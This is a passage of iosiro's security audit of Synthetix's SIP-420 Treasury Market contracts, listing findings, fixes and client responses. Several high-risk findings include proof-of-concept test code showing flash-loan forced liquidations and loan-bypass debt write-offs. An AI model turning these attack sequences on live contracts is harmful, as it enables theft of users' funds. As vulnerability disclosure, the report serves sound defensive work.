Synthetix SIP-420 Treasury Market Smart Contract Audit

</nav>
<article class="report">
<h1 id="introduction">Introduction</h1>
iosiro was commissioned by Synthetix to perform a smart contract audit of the code changes made to implement SIP-420, which introduced a new Treasury Market and delegation migration functionality. The audit was conducted in several phases between the 22nd of January and the 21st of May 2025. In total, the audit spanned over 29 audit days.
<h4 id="overview">Overview</h4>
SIP-420 introduces a new Treasury Market that enables delegators to the Treasury Pool to saddle their accounts, allowing the protocol to manage their debt and generate yield. Functionality was added to the core system to simplify the process for existing stakers to migrate their delegation to the Treasury Pool and participate in this new market. Any existing debt migrated to the pool will be converted to a loan that decays over time. Delegators wishing to exit the pool must repay any outstanding loans and will be charged an additional early-exit penalty.
During the audit, several high-risk scenarios were identified that could result in accounts being liquidated or allow malicious users to bypass the loan functionality and have their debt written off.
Various low-risk issues, design considerations, and gas optimizations were also identified and reported.
All high-, medium-, and low-risk issues were addressed by the audit's conclusion.
The table below shows the reported findings' status at the assessment's conclusion.
<table class="findings-count">
<thead>
<tr>
<th> </th>
<th>Critical</th>
<th>High</th>
<th>Medium</th>
<th>Low</th>
<th>Informational</th>
</tr>
</thead>
<tbody>
<tr>
<td>Open</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>Resolved</td>
<td>0</td>
<td>5</td>
<td>2</td>
<td>9</td>
<td>12</td>
</tr>
<tr>
<td>Closed</td>
<td>0</td>
<td>2</td>
<td>1</td>
<td>3</td>
<td>5</td>
</tr>
</tbody>
</table>
<h4 id="scope">Scope</h4>
The assessment focused on source file listed below, with all other files considered out of scope. Any out-of-scope code interacting with the assessed code was presumed to operate correctly without introducing functional or security vulnerabilities.
<ul>
<li>Project name: <code>synthetix-v3</code></li>
<li>Initial audit commit: <a href="https://github.com/Synthetixio/synthetix-v3/tree/704fa04bc036245fd41fdfe65d92fe5deaf67c9d"><code>704fa04</code></a></li>
<li>Final review commit: <a href="https://github.com/Synthetixio/synthetix-v3/tree/c46a3ed1ba28241d77315cc185a73ca738b8e814"><code>c46a3ed</code></a></li>
<li>Files: TreasuryMarket.sol, TreasuryStakingRewards.sol, InitialModuleBundle.sol, SynthetixTreasuryProxy.sol</li>
</ul>
A specification is available in the <a href="#specification">Specification section</a> of this report.
<h1 id="disclaimer">Disclaimer</h1>
This report aims to provide an overview of the assessed smart contracts' risk exposure and a guide to improving their security posture by addressing identified issues. The audit, limited to specific source code at the time of review, sought to:
<ul>
<li>Identify potential security flaws.</li>
<li>Verify that the smart contracts' functionality aligns with their documentation.</li>
</ul>
Off-chain components, such as backend web application code, keeper functionality, and deployment scripts were explicitly not in-scope of this audit.
Given the unregulated nature and ease of cryptocurrency transfers, operations involving these assets face a high risk from cyber attacks. Maintaining the highest security level is crucial, necessitating a proactive and adaptive approach that accounts for the experimental and rapidly evolving nature of blockchain technology. To encourage secure code development, developers should:
<ul>
<li>Integrate security throughout the development lifecycle.</li>
<li>Employ defensive programming to mitigate the risks posed by unexpected events.</li>
<li>Adhere to current best practices wherever possible.</li>
</ul>
<h1 id="methodology">Methodology</h1>
The audit was conducted using the techniques described below.
<dl>
<dt>Code review</dt>
<dd>The source code was manually inspected to identify potential security flaws. Code review is a useful approach for detecting security flaws, discrepancies between the specification and implementation, design improvements, and high-risk areas of the system.</dd>
<dt>Dynamic analysis</dt>
<dd>The contracts were compiled, deployed, and tested in a test environment, both manually and through the test suite provided. Dynamic analysis was used to identify additional edge cases, confirm that the code was functional, and to validate the reported issues.</dd>
<dt>Automated analysis</dt>
<dd>Automated tooling was used to detect the presence of various types of security vulnerabilities. Static analysis results were reviewed manually and any false positives were removed. Any true positive results are included in this report.</dd>
</dl>
<h1 id="audit-findings">Audit findings</h1>
The table below provides an overview of the audit's findings. Detailed write-ups are provided below.
<table class="findings">
<thead>
<tr>
<th>ID</th>
<th>Issue</th>
<th>Risk</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="#IO-SIP420-001">IO-SIP420-001</a></td>
<td>Atomic liquidations: excess artificial debt</td>
<td class="rating-high">High</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td><a href="#IO-SIP420-002">IO-SIP420-002</a></td>
<td>Debt write-off using unsaddle</td>
<td class="rating-high">High</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td><a href="#IO-SIP420-003">IO-SIP420-003</a></td>
<td>Migration of saddled accounts</td>
<td class="rating-high">High</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td><a href="#IO-SIP420-004">IO-SIP420-010</a></td>
<td>Unfair loans</td>
<td class="rating-high">High</td>
<td class="status-closed">Closed</td>
</tr>
<tr>
<td><a href="#IO-SIP420-025">IO-SIP420-025</a></td>
<td>Incorrect for loop conditions</td>
<td class="rating-high">High</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td><a href="#IO-SIP420-026">IO-SIP420-026</a></td>
<td>Incorrect loan reset</td>
<td class="rating-high">High</td>
<td class="status-closed">Closed</td>
</tr>
<tr>
<td><a href="#IO-SIP420-027">IO-SIP420-027</a></td>
<td>Rewards increase market withdrawable USD</td>
<td class="rating-high">High</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td><a href="#IO-SIP420-005">IO-SIP420-004</a></td>
<td>Incorrect collateralization ratio check</td>
<td class="rating-medium">Medium</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td><a href="#IO-SIP420-006">IO-SIP420-005</a></td>
<td>Initial delegation race condition</td>
<td class="rating-medium">Medium</td>
<td class="status-closed">Closed</td>
</tr>
<tr>
<td><a href="#IO-SIP420-028">IO-SIP420-028</a></td>
<td>Loan info not committed to storage</td>
<td class="rating-medium">Medium</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td><a href="#IO-SIP420-007">IO-SIP420-006</a></td>
<td>Pool collateral limits not checked</td>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td><a href="#IO-SIP420-008">IO-SIP420-007</a></td>
<td>Arithmetic simplification</td>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td><a href="#IO-SIP420-009">IO-SIP420-008</a></td>
<td>Separation of concerns</td>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td><a href="#IO-SIP420-010">IO-SIP420-009</a></td>
<td>Large accounts cannot unsaddle</td>
<td class="rating-low">Low</td>
<td class="status-closed">Closed</td>
</tr>
<tr>
<td><a href="#IO-SIP420-011">IO-SIP420-011</a></td>
<td>Treasury can mint more than target C-ratio</td>
<td class="rating-low">Low</td>
<td class="status-closed">Closed</td>
</tr>
<tr>
<td><a href="#IO-SIP420-012">IO-SIP420-012</a></td>
<td>Last account unable to unsaddle</td>
<td class="rating-low">Low</td>
<td class="status-closed">Closed</td>
</tr>
<tr>
<td><a href="#IO-SIP420-013">IO-SIP420-013</a></td>
<td>Incorrect target debt</td>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td><a href="#IO-SIP420-014">IO-SIP420-014</a></td>
<td>Missing validation</td>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td><a href="#IO-SIP420-029">IO-SIP420-029</a></td>
<td>Deposit rewards not nullified</td>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td><a href="#IO-SIP420-030">IO-SIP420-030</a></td>
<td>AuxTokenInfo not cleared on unsaddle</td>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td><a href="#IO-SIP420-031">IO-SIP420-031</a></td>
<td>Vested rewards DoS</td>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td><a href="#IO-SIP420-032">IO-SIP420-032</a></td>
<td>Zero duration rewards</td>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
</tr>
</tbody>
</table>
Each issue identified during the audit has been assigned a risk rating. The rating is determined based on the criteria outlined below.
<dl>
<dt>Critical risk</dt>
<dd>The issue could result in the theft of funds from the contract or its users.</dd>
<dt>High risk</dt>
<dd>The issue could result in the loss of funds for the contract owner or its users.</dd>
<dt>Medium risk</dt>
<dd>The issue resulted in the code being dysfunctional or the specification being implemented incorrectly.</dd>
<dt>Low risk</dt>
<dd>A design or best practice issue that could affect the ordinary functioning of the contract.</dd>
<dt>Informational</dt>
<dd>An improvement related to best practice or a suboptimal design pattern.</dd>
</dl>
In addition to a risk rating, each issue is assigned a status:
<dl>
<dt>Open</dt>
<dd>The issue remained present in the code as of the final commit reviewed and may still pose a risk.</dd>
<dt>Resolved</dt>
<dd>The issue was identified during the audit and has since been satisfactorily addressed, removing the risk it posed.</dd>
<dt>Closed</dt>
<dd>The issue was identified during the audit and acknowledged by the developers as an acceptable risk without actioning any change.</dd>
</dl>
<a name="IO-SIP420-001"></a><h2 id="io-sip420-001-atomic-liquidations-excess-artificial-debt" class="break-before">IO-SIP420-001 Atomic liquidations: excess artificial debt</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-high">High</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/markets/treasury-market/contracts/TreasuryMarket.sol#L248">TreasuryMarket.sol#L248</a></td>
</tr>
</tbody>
</table>
It is possible to atomically force accounts into liquidation due to the excess artificial debt allocated when unsaddling large accounts.
The following test was developed to illustrate the issue:
<pre tabindex="0" class="chroma"><code>function test_saddle_flash_loan() public {
 v3System.delegateCollateral(accountId, poolId, address(collateralToken), 4 ether, 1 ether);
 market.saddle(accountId);

 v3System.delegateCollateral(accountId + 1, poolId, address(collateralToken), 40 ether, 1 ether);
 market.saddle(accountId + 1);

 // market.rebalance(); // doesn't change the result

 /// Some time in the future (sandwich attack an SNX price update)
 {
 // flash loan SNX
 collateralToken.mint(address(this), 43 ether);
 collateralToken.approve(address(v3System), 43 ether);

 v3System.createAccount(1337);
 v3System.deposit(1337, address(collateralToken), 43 ether);

 v3System.delegateCollateral(1337, poolId, address(collateralToken), 43 ether, 1 ether);

 market.saddle(1337);

 market.rebalance();

 IERC721(v3System.getAccountTokenAddress()).approve(address(market), 1337);
 market.unsaddle(1337); // No delegation timeout

 mockAggregator.mockSetCurrentPrice(0.995 ether, 18); // Price update that we MEV

 v3System.liquidate(accountId + 1, poolId, address(collateralToken), 1337 );
 market.rebalance(); // Prevent liquidations of other accounts


 v3System.withdraw(1337, address(collateralToken), 43 ether); // repay flash loan
 v3System.getPosition(accountId, poolId, address(collateralToken)); // accountId got all of the whale's collateral
 }
}
</code></pre><h3 id="recommendation">Recommendation</h3>
The <code>_rebalance()</code> internal function should be called at the end of <code>unsaddle()</code> to reduce the artificial debt. Alternatively, the <code>artificialDebt</code> should be decreased by <code>neededToPay</code> before removing the collateral delegation.
<h3 id="client-response">Client response</h3>
Both recommendations were implemented in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/75d8b9665c7666d4905e4d800472a0bc3c818461">75d8b96</a>.
<a name="IO-SIP420-002"></a><h2 id="io-sip420-002-debt-write-off-using-unsaddle" class="break-before">IO-SIP420-002 Debt write-off using unsaddle</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-high">High</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/markets/treasury-market/contracts/TreasuryMarket.sol#L252">TreasuryMarket.sol#L252</a></td>
</tr>
</tbody>
</table>
When unsaddling an account with no debt, the if branch containing the logic to reset the account's <code>saddledCollateral</code> is skipped. When the account is saddled again, with a large amount of debt and collateral, the stale <code>saddledCollateral[accountId]</code> value is used, and a loan is not created for the account. Without a loan, the user can immediately unsaddle their account and withdraw the collateral without settling their pre-existing debt.
The following test was developed to illustrate the issue:
<pre tabindex="0" class="chroma"><code>function test_unsaddle_bypass_loans() public {
 usdToken.approve(address(v3System), type(uint256).max);
 collateralToken.approve(address(v3System), type(uint256).max);
 collateralToken.approve(address(market), type(uint256).max);


 // Legitimate stakers
 {
 collateralToken.mint(address(this), 10000 ether);
 v3System.deposit(accountId, address(collateralToken), 10000 ether);
 v3System.delegateCollateral(accountId, poolId, address(collateralToken), 10000 ether, 1 ether);
 market.saddle(accountId);
 }

 vm.prank(treasuryAddress);
 market.mintTreasury(1 ether);

 uint128 otherPoolId = 2;
 v3System.createPool(otherPoolId, address(this));

 v3System.createAccount(1337);
 collateralToken.mint(address(this), 104 ether);
 v3System.deposit(1337, address(collateralToken), 104 ether);
 v3System.delegateCollateral(1337, otherPoolId, address(collateralToken), 100 ether, 1 ether);
 v3System.mintUsd(1337, otherPoolId, address(collateralToken), 20 ether);

 v3System.delegateCollateral(1337, poolId, address(collateralToken), 4 ether, 1 ether);
 market.saddle(1337);

 int256 debt = v3System.getPositionDebt(1337, poolId, address(collateralToken));
 v3System.burnUsd(1337, poolId, address(collateralToken), uint256(debt));

 IERC721(v3System.getAccountTokenAddress()).approve(address(market), 1337);
 market.unsaddle(1337);

 v3System.migrateDelegation(1337, otherPoolId, address(collateralToken), poolId);
 market.saddle(1337);

 IERC721(v3System.getAccountTokenAddress()).approve(address(market), 1337);
 market.unsaddle(1337);

 // Withdraw our collateral and an additional (20 - debt) USD
 v3System.withdraw(1337, address(collateralToken), 104 ether);
 v3System.withdraw(1337, address(usdToken), 20 ether - uint256(debt));
}
</code></pre><h3 id="recommendation-1">Recommendation</h3>
The line <code>saddledCollateral[accountId] = 0</code> should be moved to below the <code>if</code> block in <code>unsaddle()</code> to ensure the value is always reset.
<h3 id="client-response-1">Client response</h3>
Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/75d8b9665c7666d4905e4d800472a0bc3c818461">75d8b96</a>.
<a name="IO-SIP420-003"></a><h2 id="io-sip420-003-migration-of-saddled-accounts" class="break-before">IO-SIP420-003 Migration of saddled accounts</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-high">High</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/protocol/synthetix/contracts/modules/core/VaultModule.sol#L160">VaultModule.sol#L160</a></td>
</tr>
</tbody>
</table>
Accounts that are saddled can be migrated to another pool by reducing their saddled debt and then calling <code>migrateDelegation()</code>. However, when migrating, the account's <code>saddledCollateral[accountId]</code> is not reset; thus, no new loan will be created when migrating back to the pool.
The following test was developed to illustrate the issue:
<pre tabindex="0" class="chroma"><code>function test_migrate_bypass_loans() public {
 usdToken.approve(address(v3System), type(uint256).max);
 collateralToken.approve(address(v3System), type(uint256).max);
 collateralToken.approve(address(market), type(uint256).max);

 uint128 otherPoolId = 2;
 v3System.createPool(otherPoolId, address(this));

 // Legitimate stakers
 {
 collateralToken.mint(address(this), 10000 ether);
 v3System.deposit(accountId, address(collateralToken), 10000 ether);
 v3System.delegateCollateral(accountId, poolId, address(collateralToken), 10000 ether, 1 ether);
 market.saddle(accountId);
 }

 vm.prank(treasuryAddress);
 market.mintTreasury(1 ether);

 // malicious account buys / flash loans 1 USD on the open market and 100 SNX
 vm.prank(treasuryAddress);
 usdToken.transfer(address(this), 1 ether);
 v3System.createAccount(1337);
 collateralToken.mint(address(this), 100 ether);

 v3System.deposit(1337, address(collateralToken), 2 ether);

 v3System.delegateCollateral(1337, poolId, address(collateralToken), 2 ether, 1 ether);
 market.saddle(1337);

 v3System.deposit(1337, address(usdToken), 1 ether);
 v3System.burnUsd(1337, poolId, address(collateralToken), 1 ether); // burn USD to get below issuance ratio of other pool

 v3System.migrateDelegation(1337, poolId, address(collateralToken), otherPoolId);

 v3System.deposit(1337, address(collateralToken), 98 ether);
 v3System.delegateCollateral(1337, otherPoolId, address(collateralToken), 100 ether, 1 ether);
 v3System.mintUsd(1337, otherPoolId, address(collateralToken), 20 ether);

 market.rebalance();
 v3System.migrateDelegation(1337, otherPoolId, address(collateralToken), poolId);
 market.saddle(1337);

 IERC721(v3System.getAccountTokenAddress()).approve(address(market), 1337);
 market.unsaddle(1337);

 // Withdraw our collateral and an additional 20 USD
 // repay flash loan, so profit is 20 USD - 1 USD = 19 USD
 v3System.withdraw(1337, address(collateralToken), 100 ether);
 v3System.withdraw(1337, address(usdToken), 20 ether);
}
</code></pre><h3 id="recommendation-2">Recommendation</h3>
A possible solution would be to capacity lock the market except during <code>unsaddle()</code>. For example, <code>minimumCredit()</code> should return <code>type(uint256).max</code> by default; however, before the call to <code>delegateCollateral()</code> in <code>unsaddle()</code>, it should be set to zero and reset afterward.
<h3 id="client-response-2">Client response</h3>
Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/75d8b9665c7666d4905e4d800472a0bc3c818461">75d8b96</a>.
<a name="IO-SIP420-004"></a><h2 id="io-sip420-004-unfair-loans" class="break-before">IO-SIP420-004 Unfair loans</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-high">High</td>
<td class="status-closed">Closed</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/markets/treasury-market/contracts/TreasuryMarket.sol#L144">TreasuryMarket.sol#L144</a></td>
</tr>
</tbody>
</table>
If <code>rebalance()</code> is called after <code>delegateCollateral()</code> but before <code>saddle()</code>, an account will be indebted with artificial debt, and a large loan will be created when one should not exist. Since <code>rebalance()</code> and <code>saddle()</code> are permissionless functions, malicious actors could abuse this to lock stakers into the pool.
<h3 id="recommendation-3">Recommendation</h3>
A function that calls <code>delegateCollateral()</code> and <code>saddle()</code> atomically should be introduced. A similar function should be added for <code>migrateDelegation()</code> and <code>saddle()</code>.
<h3 id="client-response-3">Client response</h3>
This issue is indeed important to note. The frontend will ensure that <code>saddle()</code> is called immediately after <code>delegateCollateral()</code> for deposits to this pool.
<a name="IO-SIP420-025"></a><h2 id="io-sip420-025-incorrect-for-loop-conditions" class="break-before">IO-SIP420-025 Incorrect for loop conditions</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-high">High</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/95f2f3fdc29ba6f3ac32c00be2a738106f610a15/markets/treasury-market/contracts/TreasuryMarket.sol#L551">TreasuryMarket.sol#L551</a>, <a href="https://github.com/Synthetixio/synthetix-v3/blob/95f2f3fdc29ba6f3ac32c00be2a738106f610a15/markets/treasury-market/contracts/TreasuryMarket.sol#L554">TreasuryMarket.sol#L554</a></td>
</tr>
</tbody>
</table>
The two <code>for</code> loops used to remove deposit amounts in <code>TreasuryMarket::setDepositRewardConfigurations()</code> use incorrect test conditions. This could result in old deposit amounts not being removed and/or new ones not being added.
<h3 id="recommendation-4">Recommendation</h3>
The below diff shows the correct test conditions to resolve this issue:
<pre><code>diff --git a/markets/treasury-market/contracts/TreasuryMarket.sol b/markets/treasury-market/contracts/TreasuryMarket.sol
index c4a5ee85..479192da 100644
--- a/markets/treasury-market/contracts/TreasuryMarket.sol
+++ b/markets/treasury-market/contracts/TreasuryMarket.sol
@@ -548,10 +548,11 @@ contract TreasuryMarket is ITreasuryMarket, Ownable, UUPSImplementation, IMarket
depositRewardConfigurations[i].penaltyStart = newDrcs[i].penaltyStart;
depositRewardConfigurations[i].penaltyEnd = newDrcs[i].penaltyEnd;

- for (uint256 k = 0; k < depositRewardConfigurations[i].amounts.length; k++) {
+ uint256 amountsLength = depositRewardConfigurations[i].amounts.length;
+ for (uint256 k = 0; k < amountsLength; k++) {
depositRewardConfigurations[i].amounts.pop();
}
- for (uint256 k = 0; k < newDrcs.length; k++) {
+ for (uint256 k = 0; k < newDrcs[i].amounts.length; k++) {
depositRewardConfigurations[i].amounts.push();
depositRewardConfigurations[i].amounts[k] = newDrcs[i].amounts[k];
}

</code></pre>
<h3 id="client-response-4">Client response</h3>
Deposit rewards removed in <a href="https://github.com/Synthetixio/synthetix-v3/pull/2375/commits/b9c70f11c42904f778e405a6ec67fc87f8a435db">b9c70f1</a>.
<a name="IO-SIP420-026"></a><h2 id="io-sip420-026-incorrect-loan-reset" class="break-before">IO-SIP420-026 Incorrect loan reset</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-high">High</td>
<td class="status-closed">Closed</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/2d595c54472705c9173e0666acf32f3ffc799952/markets/treasury-market/contracts/TreasuryMarket.sol#L809-L817">TreasuryMarket.sol#L809-L817</a></td>
</tr>
</tbody>
</table>
When <code>TreasuryMarket::updateAuxToken()</code> is called, the value returned by <code>TreasuryMarket::_loanLastUpdateTime()</code> becomes the timestamp of the newly pushed <code>AuxTokenRequiredRatio</code>. This value remains unchanged for any accounts that do not deposit Aux tokens going forward, and on any subsequent calls to <code>updateAuxToken()</code>
An edge case exists where this could result in an account’s loan period being unexpectedly reset. The following scenario illustrates this:
<ol>
<li>An account has deposited sufficient aux tokens, such that its debt is decaying as normal</li>
<li>A call to <code>updateAuxToken()</code> is made with aux token ratio requirement that is lower than what the account has deposited. The account’s aux deposits remain sufficient, and its last update time, as returned from <code>_loanLastUpdateTime()</code>, is the timestamp of the newly pushed <code>AuxTokenRequiredRatio</code>.</li>
<li>A call to <code>updateAuxToken()</code> with a higher required ratio than what the account currently meets is made. If sufficient time has passed, this could result in the account exceeding the <code>auxResetTime</code> since its last update time is unchanged.</li>
</ol>
Similarly, it is also possible for an account to bypass having its loan period reset due to insufficient staking. Specifically, if required ratios are raised and then lowered later, the period of time in which an account was insufficient would not be accounted for. The diffs linked below contain a set of tests to illustrate the above issues:
<a href="https://gist.github.com/iosiro-security/cdaee0fccba4fc09cdeac8c2bcf46b23">https://gist.github.com/iosiro-security/cdaee0fccba4fc09cdeac8c2bcf46b23</a>
<h3 id="recommendation-5">Recommendation</h3>
A recommended fix can be found in the gist linked below:
<a href="https://gist.github.com/iosiro-security/cdaee0fccba4fc09cdeac8c2bcf46b23">https://gist.github.com/iosiro-security/cdaee0fccba4fc09cdeac8c2bcf46b23</a>
<h3 id="client-response-5">Client response</h3>
Partially fixed in <a href="https://github.com/Synthetixio/synthetix-v3/pull/2373/commits/e6b5a6f9d65719d7c637b3f84fbc58faccfe66b1">e6b5a6f</a>.
Synthetix indicated that the second scenario would be mitigated against by never lowering the required ratios.
<a name="IO-SIP420-027"></a><h2 id="io-sip420-027-rewards-increase-market-withdrawable-usd" class="break-before">IO-SIP420-027 Rewards increase market withdrawable USD</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-high">High</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/4098fa41399e677ffab2c2fa4ffac5564cd3982d/markets/treasury-market/contracts/TreasuryMarket.sol#L470-L479">TreasuryMarket.sol#L470-L479</a></td>
</tr>
</tbody>
</table>
The rewards deposited as market collateral increase the market withdrawable USD. This would allow the Treasury to mint more USD than intended. In the worst case, the Treasury could cause the vault to become liquidatable.
<h3 id="recommendation-6">Recommendation</h3>
A possible solution would be to limit the treasury's ability to mint only up to the amount of artificial debt.
<pre tabindex="0" class="chroma"><code>if (amount > uint256(artificialDebt)) {
 revert InsufficientExcessDebt(int256(amount), artificialDebt);
}
</code></pre><h3 id="client-response-6">Client response</h3>
Fixed in <a href="https://github.com/Synthetixio/synthetix-v3/commit/bf643ad495d761dce163ddd6327a7c67a46bcc87">bf643ad</a>.
<a name="IO-SIP420-005"></a><h2 id="io-sip420-005-incorrect-collateralization-ratio-check" class="break-before">IO-SIP420-005 Incorrect collateralization ratio check</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-medium">Medium</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/protocol/synthetix/contracts/modules/core/VaultModule.sol#L228">VaultModule.sol#L228</a></td>
</tr>
</tbody>
</table>
In <code>migrateDelegation()</code>, the account's collateralization ratio is checked against the source pool's issuance ratio instead of the collateral type's liquidation ratio. Some pools prevent direct issuance against the pool by setting the pool-specific issuance ratio to <code>type(uint256).max</code>. This will prevent migration from such pools, as the issuance ratio check will always fail.
<h3 id="recommendation-7">Recommendation</h3>
The account's collateralization ratio should be checked against the liquidation ratio of the collateral type, which is not pool-specific.
<h3 id="client-response-7">Client response</h3>
Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/001a2e69143d49c684baaa55c58411e3ff9094b2">001a2e6</a>.
<a name="IO-SIP420-006"></a><h2 id="io-sip420-006-initial-delegation-race-condition" class="break-before">IO-SIP420-006 Initial delegation race condition</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-medium">Medium</td>
<td class="status-closed">Closed</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/markets/treasury-market/contracts/TreasuryMarket.sol#L144">TreasuryMarket.sol#L144</a></td>
</tr>
</tbody>
</table>
If two accounts delegate to the vault at the time of the market's deployment, the larger of the two accounts will need to be saddled first. If precisely the same amount of collateral is delegated, a third account with collateral greater than the sum of the other accounts will be required.
A malicious actor could prevent legitimate accounts from calling <code>saddle()</code> by delegating with many accounts.
<h3 id="recommendation-8">Recommendation</h3>
The issue is similar to that noted in <a href="#IO-SIP420-004">IO-SIP420-004</a> and would also be addressed by ensuring delegation and saddling are performed atomically.
<h3 id="client-response-8">Client response</h3>
The risk was deemed acceptable as the issue is only present during market deployment.
<a name="IO-SIP420-028"></a><h2 id="io-sip420-028-loan-info-not-committed-to-storage" class="break-before">IO-SIP420-028 Loan info not committed to storage</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-medium">Medium</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/ef733d3a663ba4ff631be5b02f50cd94168ca2f0/markets/treasury-market/contracts/TreasuryMarket.sol#L440-L446">TreasuryMarket.sol#L440-L446</a></td>
</tr>
</tbody>
</table>
The changes to a loan duration in <a href="https://github.com/Synthetixio/synthetix-v3/blob/ef733d3a663ba4ff631be5b02f50cd94168ca2f0/markets/treasury-market/contracts/TreasuryMarket.sol#L440-L446">TreasuryMarket::setOverrideLoanDuration()</a> are not committed back to storage. Consequently, calling the function has no effect.
<h3 id="recommendation-9">Recommendation</h3>
The changes to loan duration should be committed to storage.
<h3 id="client-response-9">Client response</h3>
Fixed in <a href="https://github.com/Synthetixio/synthetix-v3/pull/2375/commits/f11229998b09ea0dee53eabdb0b85ba714df67fa">f112299</a>.
<a name="IO-SIP420-007"></a><h2 id="io-sip420-007-pool-collateral-limits-not-checked" class="break-before">IO-SIP420-007 Pool collateral limits not checked</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/protocol/synthetix/contracts/modules/core/VaultModule.sol#L160">VaultModule.sol#L160</a></td>
</tr>
</tbody>
</table>
The <code>migrateDelegation()</code> function does not perform the same <code>checkPoolCollateralLimit()</code> check that <code>delegateCollateral()</code> does. This could allow a user to bypass the pool's collateral limits by delegating first to another pool and then migrating.
<h3 id="recommendation-10">Recommendation</h3>
The <code>checkPoolCollateralLimit()</code> check should be added to <code>migrateDelegation()</code>.
<h3 id="client-response-10">Client response</h3>
Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/dd76f17849ff4a8895d1eb755179b83d19929294">dd76f17</a>.
<a name="IO-SIP420-008"></a><h2 id="io-sip420-008-arithmetic-simplification" class="break-before">IO-SIP420-008 Arithmetic simplification</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/markets/treasury-market/contracts/TreasuryMarket.sol#L246">TreasuryMarket.sol#L246</a></td>
</tr>
</tbody>
</table>
The <code>neededToRepay</code> calculation can be simplified, with the added benefit of avoiding a potential division by zero and reducing the likelihood of excess USD being withdrawn.
Consider the following simplification:
<pre><code>T = D / (1 - A / V)
T = D / ((V - A) / V)
T = D * V / (V - A)
</code></pre>
<h3 id="recommendation-11">Recommendation</h3>
Replace the <code>neededToRepay</code> calculation with the following simplified version.
<pre tabindex="0" class="chroma"><code>int neededToRepay = accountDebt * int256(vaultCollateral) / int256(vaultCollateral - accountCollateral);
</code></pre>Fuzz testing did not yield any combination of side market debt, vault collateral, or account collateral values that would cause <code>delegateCollateral()</code> to revert due to leftover debt.
<h3 id="client-response-11">Client response</h3>
Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/75d8b9665c7666d4905e4d800472a0bc3c818461">75d8b96</a> as part of the remediation for <a href="#IO-SIP420-001">IO-SIP420-001</a>. The <code>neededToRepay</code> calculation was removed as the pool's artificial debt is decreased before calling <code>withdrawMarketUSD()</code>.
<a name="IO-SIP420-009"></a><h2 id="io-sip420-009-separation-of-concerns" class="break-before">IO-SIP420-009 Separation of concerns</h2>
<table class="metadata">

<tbody>
<tr>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/markets/treasury-market/contracts/TreasuryMarket.sol">TreasuryMarket.sol</a></td>
</tr>
</tbody>
</table>
The only privileged role defined for the market is the owner. This means the Treasury will be responsible for smart contract upgrades, configuration changes, and debt management. Management of the market's debt (mint and burn) should be separated from complete control over the proxy implementation and configuration.
